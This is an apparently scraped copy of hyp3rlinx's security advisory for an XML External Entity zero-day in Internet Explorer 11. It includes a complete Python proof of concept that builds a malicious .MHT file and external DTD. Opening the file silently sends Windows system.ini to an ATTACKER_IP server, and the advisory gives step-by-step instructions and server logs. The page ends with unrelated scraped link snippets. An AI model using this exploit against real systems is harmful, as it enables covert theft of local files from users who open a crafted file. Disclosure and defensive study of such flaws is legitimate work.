[+] Credits: John Page (aka hyp3rlinx)
[+] Website: hyp3rlinx.altervista.org
[+] Source:  http://hyp3rlinx.altervista.org/advisories/MICROSOFT-INTERNET-EXPLORER-v11-XML-EXTERNAL-ENTITY-INJECTION-0DAY.txt
[+] ISR: ApparitionSec

[Vendor]
www.microsoft.com

[Product]
Microsoft Internet Explorer v11
(latest version)

Internet
Explorer is a series of graphical web browsers developed by Microsoft
and included in the Microsoft Windows line of operating systems,
starting in 1995.

[Vulnerability Type]
XML External Entity Injection

[CVE Reference]
N/A

[Security Issue]
Internet Explorer is vulnerable to XML External Entity attack if a user opens a specially crafted .MHT file locally.

This can allow remote attackers to potentially exfiltrate Local files and conduct remote reconnaissance on locally installed
Program version information. Example, a request for "c:\Python27\NEWS.txt" can return version information for that program.

Upon
opening the malicious ".MHT" file locally it should launch Internet
Explorer. Afterwards, user interactions like duplicate tab "Ctrl+K"
and
other interactions like right click "Print Preview" or "Print" commands
on the web-page may also trigger the XXE vulnerability.

However,
a simple call to the window.print() Javascript function should do the
trick without requiring any user interaction with the webpage.
Importantly,
if files are downloaded from the web in a compressed archive and opened
using certain archive utilities MOTW may not work as advertised.

Typically,
when instantiating ActiveX Objects like "Microsoft.XMLHTTP" users will
get a security warning bar in IE and be prompted
to activate blocked
content. However, when opening a specially crafted .MHT file using
malicious <xml> markup tags the user will get no such
active content or security bar warnings.

e.g.

C:\sec>python -m SimpleHTTPServer
Serving HTTP on 0.0.0.0 port 8000 ...
127.0.0.1 - - [10/Apr/2019 20:56:28] "GET /datatears.xml HTTP/1.1" 200 -
127.0.0.1
- - [10/Apr/2019 20:56:28] "GET
/?;%20for%2016-bit%20app%20support[386Enh]woafont=dosapp.fonEGA80WOA.FON=EGA80WOA.FONEGA40WOA.FON=EGA40WOA.FONCGA80WOA.FON=CGA80WOA.FONCGA40WOA.FON=CGA40WOA.FON[drivers]wave=mmdrv.dlltimer=timer.drv[mci]
HTTP/1.1" 200 -

Tested successfully in latest Internet Explorer Browser v11 with latest security patches on Win7/10 and Server 2012 R2.

[POC/Video URL]
https://www.youtube.com/watch?v=fbLNbCjgJeY

[Exploit/POC]
POC to exfil  Windows "system.ini" file.
Note: Edit attacker server IP in the script to suit your needs.

1) Use below script to create the "datatears.xml" XML and XXE embedded "msie-xxe-0day.mht" MHT file.

2) python -m SimpleHTTPServer

3) Place the generated "datatears.xml" in Python server web-root.

4) Open the generated "msie-xxe-0day.mht" file, watch your files be exfiltrated.

#Microsoft Internet Explorer XXE 0day
#Creates malicious XXE .MHT and XML files
#Open the MHT file in MSIE locally, should exfil system.ini
#By hyp3rlinx
#ApparitionSec

ATTACKER_IP="localhost"
PORT="8000"

mht_file=(
'From:\n'
'Subject:\n'
'Date:\n'
'MIME-Version: 1.0\n'
'Content-Type: multipart/related; type="text/html";\n'
'\tboundary="=_NextPart_SMP_1d4d45cf4e8b3ee_3ddb1153_00000001"\n'
'This is a multi-part message in MIME format.\n\n\n'

'--=_NextPart_SMP_1d4d45cf4e8b3ee_3ddb1153_00000001\n'
'Content-Type: text/html; charset="UTF-8"\n'
'Content-Location: main.htm\n\n'

'<!DOCTYPE html PUBLIC "-//W3C//DTD HTML 4.01//EN" "http://www.w3.org/TR/html4/transitional.dtd">\n'
'<html>\n'
'<head>\n'
'<meta http-equiv="Content-Type" content="text/html; charset=utf-8" />\n'
'<title>MSIE XXE 0day</title>\n'
'</head>\n'
'<body>\n'
'<xml>\n'
'<?xml version="1.0" encoding="utf-8"?>\n'
'<!DOCTYPE r [\n'
'<!ELEMENT r ANY >\n'
'<!ENTITY % sp SYSTEM "http://'+str(ATTACKER_IP)+":"+PORT+'/datatears.xml">\n'
'%sp;\n'
'%param1;\n'
']>\n'
'<r>&exfil;</r>\n'
'<r>&exfil;</r>\n'
'<r>&exfil;</r>\n'
'<r>&exfil;</r>\n'
'</xml>\n'
'<script>window.print();</script>\n'
'<table cellpadding="0" cellspacing="0" border="0">\n'
'<tr>\n'
'<td class="contentcell-width">\n'
'<h1>MSIE XML External Entity 0day PoC.</h1>\n'
'<h3>Discovery: hyp3rlinx</h3>\n'
'<h3>ApparitionSec</h3>\n'
'</td>\n'
'</tr>\n'
'</table>\n'
'</body>\n'
'</html>\n\n\n'

'--=_NextPart_SMP_1d4d45cf4e8b3ee_3ddb1153_00000001--'
)

xml_file=(
'<!ENTITY % data SYSTEM "c:\windows\system.ini">\n'
'<!ENTITY % param1 "<!ENTITY exfil SYSTEM \'http://'+str(ATTACKER_IP)+":"+PORT+'/?%data;\'>">\n'
'<!ENTITY % data SYSTEM "file:///c:/windows/system.ini">\n'
'<!ENTITY % param1 "<!ENTITY exfil SYSTEM \'http://'+str(ATTACKER_IP)+":"+PORT+'/?%data;\'>">\n'
)

def mk_msie_0day_filez(f,p):
    f=open(f,"wb")
    f.write(p)
    f.close()

if __name__ == "__main__":
    mk_msie_0day_filez("msie-xxe-0day.mht",mht_file)
    mk_msie_0day_filez("datatears.xml",xml_file)
    print "Microsoft Internet Explorer XML External Entity 0day PoC."
    print "Files msie-xxe-0day.mht and datatears.xml Created!."
    print "Discovery: Hyp3rlinx / Apparition Security"

[Network Access]
Remote

[Severity]
High

[Disclosure Timeline]
Vendor Notification: March 27, 2019
Vendor acknowledgement: March 27, 2019
Case Opened: March 28, 2019
MSRC
reponse April 10, 2019: "We determined that a fix for this issue will
be considered in a future version of this product or service.
At this time, we will not be providing ongoing updates of the status of the fix for this issue, and we have closed this case."
April 10, 2019 : Public Disclosure

[+] Disclaimer
The
information contained within this advisory is supplied "as-is" with no
warranties or guarantees of fitness of use or otherwise.
Permission
is hereby granted for the redistribution of this advisory, provided that
it is not altered except by reformatting it, and
that due credit is
given. Permission is explicitly given for insertion in vulnerability
databases and similar, provided that due credit
is given to the
author. The author is not responsible for any misuse of the information
contained herein and accepts no responsibility
for any damage caused
by the use or misuse of this information. The author prohibits any
malicious use of security related information
or exploits by the author or elsewhere. All content (c).

hyp3rlinx

Microsoft Internet Explorer v11 / XML External EntityInjection 0day的更多相关文章

  1. Microsoft Internet Explorer v11 XML External Entity Injection 0day

    [+] Credits: John Page (aka hyp3rlinx) [+] Website: hyp3rlinx.altervista.org[+] Source:  http://hyp3 ...

  2. Microsoft Internet Explorer内存破坏漏洞(CVE-2013-5052)

    漏洞版本: Microsoft Internet Explorer 6-11 漏洞描述: BUGTRAQ ID: 64126 CVE(CAN) ID: CVE-2013-5052 Internet E ...

  3. Microsoft Internet Explorer 内存破坏漏洞(CVE-2013-3193)(MS13-059)

    漏洞版本: Microsoft Internet Explorer 6 - 10 漏洞描述: BUGTRAQ ID: 61678 CVE(CAN) ID: CVE-2013-3193 Windows ...

  4. Microsoft Internet Explorer 远程代码执行漏洞(CVE-2013-3186)(MS13-059)

    漏洞版本: Microsoft Internet Explorer 6 - 10 漏洞描述: BUGTRAQ ID: 61663 CVE(CAN) ID: CVE-2013-3186 Windows ...

  5. C# winform webbrowser如何指定内核为IE11？ 输出 this.webbrowser.Version 显示版本是IE11的，但实际版本不是啊！ 网上打的修改注册表HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\Microsoft\Internet Explorer\MAIN\FeatureControl\FEATURE_BROWSER_EMULA

    最佳答案   1)假设你应用程序的名字为MyApplication.exe 2)运行Regedit,打开注册表,找到 HKEY_LOCAL_MACHINE\SOFTWARE\Wow6432Node\M ...

  6. pikachu-XXE（xml external entity-injection）

    部分图片来自于网络,如有侵权,请联系我及时删除~ 一.XXE的概念 1.1 什么是xml xml是一种可拓展的标记语言,可以用来存储数据,例如:我们经常看到一些.xml的文件:它还可以用来传输数据,我 ...

  7. What is XMLHTTP? How to use security zones in Internet Explorer

    Types of Security Zones Internet Zone This zone contains Web sites that are not on your computer or ...

  8. 建站手册-浏览器信息：Internet Explorer 浏览器

    ylbtech-建站手册-浏览器信息:Internet Explorer 浏览器 1.返回顶部 1. http://www.w3school.com.cn/browsers/browsers_inte ...

  9. IE11新特性 -- Internet Explorer 11：请不要再叫我IE

    Internet Explorer 11 中的一些新特性,包括对WebGL 的支持.预抓取.预渲染.flexbox.mutationobservers 以及其他一些 Web 标准的支持.但是更有趣的是 ...

随机推荐

  1. 电脑开机后win系统运行异常慢，鼠标移动卡

    今天公司里面一个小伙伴的电脑开机后还没有打开应用程序系统就运行非常慢,打开文件夹反应慢,鼠标是一点一点的在移动.体验感极差.作为运维的我立即上去解决问题: 首先是查看一下电脑确实运行比较慢,然后就查看 ...

  2. Active Directory Replication(复制)

    KCC(The Knowledge Consistency Checker)知识一致性检查器是一个内置的程序,在所有与管理器上运行,为林创建复制拓扑.默认,KCC15分钟间隔运行一次,根据当时存活的最 ...

  3. C#二维码与条形码的生成

    二维码 using Gma.QrCodeNet.Encoding;using Gma.QrCodeNet.Encoding.Windows.Render; string str = "Htt ...

  4. Linux Docker的部署

    1.安装 $ yum -y install docker 2.启动docker服务 $ systemctl start docker 3.设置开启自启 $ systemctl enable docke ...

  5. Codeforces Goodbye 2018

    Goodbye 2018 可能是我太菜考试的时候出不了$E$ 可能是我太菜考试的时候调不出$F$ 所以转化为手速场之后手速还上不去.jpg A 模拟题意... #include <cstdio& ...

  6. Dom 动态添加元素节点总结

    jQuery创建元素节点的方法: 创建元素节点: $("<div></div>"): 创建文本节点: $("<div>直接将文本的内容 ...

  7. django drf json格式化日期时间带T的问题 基于python的解决方法

    # models.py update_time = models.DateTimeField(verbose_name=u'更新时间', default=timezone.now) 问题:天 与 小时 ...

  8. beanshell断言模版

    if("${createTime_1}".equals("${createTime_2}")){ Failure = false; FailureMessage ...

  9. Linux centos ansible

    创建m01.backup.nfs.web01.web02 m01(172.16.1.61).backup(172.16.1.41).nfs(172.16.1.31).web01(172.16.1.7) ...

  10. Frame Interpolation

    对于视频网站.电视厂商以及进行视频压制的用户来说,改变视频的帧率算是一个比较常见的需求.视频网站改变帧率主要是为了向不同级别的网站用户提供差异化服务:电视厂商则是以提供更好的显示效果作为电视的卖点:对 ...